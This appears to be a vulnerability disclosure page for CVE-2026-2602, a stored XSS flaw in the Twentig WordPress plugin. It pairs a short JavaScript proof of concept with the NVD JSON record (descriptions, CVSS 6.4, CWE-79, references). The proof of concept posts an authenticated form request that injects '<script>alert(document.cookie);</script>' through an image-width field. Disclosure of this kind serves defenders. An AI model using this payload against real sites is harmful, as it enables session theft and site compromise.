CVE-2026-2602

/** * PoC for CVE-2026-2602 * Description: Stored XSS in Twentig WordPress Plugin <= 1.9.7 * Parameter: featuredImageSizeWidth */ // Target URL for updating post settings const targetUrl = 'http://target-site.com/wp-admin/post.php'; // Malicious payload to be injected const payload = '100"><script>alert(document.cookie);</script>'; // Simulate a POST request to update the post const formData = new FormData(); formData.append('post_ID', '123'); // Replace with valid Post ID formData.append('twentig_featured_image_size_width', payload); formData.append('action', 'editpost'); fetch(targetUrl, { method: 'POST', body: formData, credentials: 'include' // Requires authenticated session }).then(response => { console.log('Payload injected. Check the post page to trigger XSS.'); });

{"cve": {"id": "CVE-2026-2602", "sourceIdentifier": "[email protected]", "published": "2026-03-29T02:16:16.360", "lastModified": "2026-04-24T16:36:24.067", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Twentig plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'featuredImageSizeWidth' parameter in versions up to, and including, 1.9.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Twentig para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'featuredImageSizeWidth' en versiones hasta la 1.9.7, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3486634/twentig", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f07881db-7494-4e6d-82ea-16018fa81806?source=cve", "source": "[email protected]"}]}}